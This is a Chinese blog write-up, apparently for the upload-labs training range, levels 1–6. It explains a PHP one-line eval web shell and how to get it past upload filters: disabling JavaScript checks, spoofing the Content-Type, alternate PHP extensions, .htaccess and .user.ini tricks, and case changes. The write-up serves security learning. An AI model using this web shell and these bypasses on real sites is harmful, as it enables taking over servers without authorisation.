IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> upload (1-6) -> 正文阅读

[PHP知识库]upload (1-6)

一句话木马

?? <?php @eval($_POST['x']);?>

基本原理:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀或者蚁剑即可获取和控制整个网站目录。表示后面即使执行错误,也不报错。

分析

<?php? >? 基本框架

@符号的意思是不报错,即使执行错误,也不报错。

密码为 x? 原因:

php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就?? 是a这个变量,用post的方法接收。

eval的用处:

eval()把字符串作为PHP代码执行。

例如:eval("echo 'a'");其就等于直接 echo 'a';

????????? 再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。

上传成功后就可以通过 蚁剑或者菜刀连接

pass-1

查看源码发现是前端JS校验 直接禁用 js

禁用后直接上传 木马文件

令 x=phpinfo()???? (用来显示php的一些信息)

pass-2

?第二关为后端检测 不能使用上一关的办法? 需要用burp抓包 修改文件类型

Content-Type:也叫互联网媒体类型(Internet Media Type)或者 MIME 类型,

在 HTTP 协议消息头中,它用来表示具体请求中的媒体类型信息。

例如:text/html 代表 HTML 格式image/gif 代表 GIF 图片Image/png 代表 GIF 图片application/octet-stream 二进制流,不知道文件类型(PHP)application/json 代表 JSON 类型??????????? ------培训ppt

抓包

修改文件类型

放包

上传成功

pass-3

黑名单绕过

禁止上传 asp....php后缀文件?? 但是黑名单不完全 可以通过一些畸形后缀名通过 php1、php2、php3、php4、php5、php7、pht、phtml、 phar、 phps、Asp、aspx、cer、cdx、asa、asax、jsp、jspa、jspx等???

将后缀名改成 .php3

前提条件 pache的httpd.conf有配置代码AddType application/x-httpd-php .pht .phtml .phps .php5 .pht

pass-4

可以看到禁止上传畸形后缀名 ? ?

可以先上传.htaccess??? SetHandler application/x-httpd-php

可以把任何文件形式解析为php

上传.htaccess后? 再把一句话木马的后缀改为.jpg上传?? 即可成功

pass-5

观察源码

发现不仅禁用了畸形后缀名 还禁用了.htaccess

所以以上方法都不可以?? 查看源码提示

查询可知可以用.ini做

user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
?? CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
?? .htaccess 文件有同样效果。
? ?
?? 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web
?? 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
? ?
?? 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
?? 设置可被识别。
? ?
?? 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
? ?
?? user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
?? .user.ini。
? ?
?? user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

?????????????????????????????????????????????????????????????????????? ————————百度

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

所以首先创建一个 user.ini文件

.user.ini文件里的意思是:所有的php文件都自动包含721.jpg文件。.user.ini相当于一个用户自定义的php.ini

接着上传721.jpg文件,文件内容为:<?php @eval($_POST['x721]);?>

上传完成后成功。

pass-6

查看源码???

与上一题相比? 禁用了.ini ?? 但是没有使用strtolower()函数,可以使用大小写绕过黑名单

将文件后缀改为 .Php?? 直接上传

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-14 21:23:49  更:2021-11-14 21:25:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:47:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码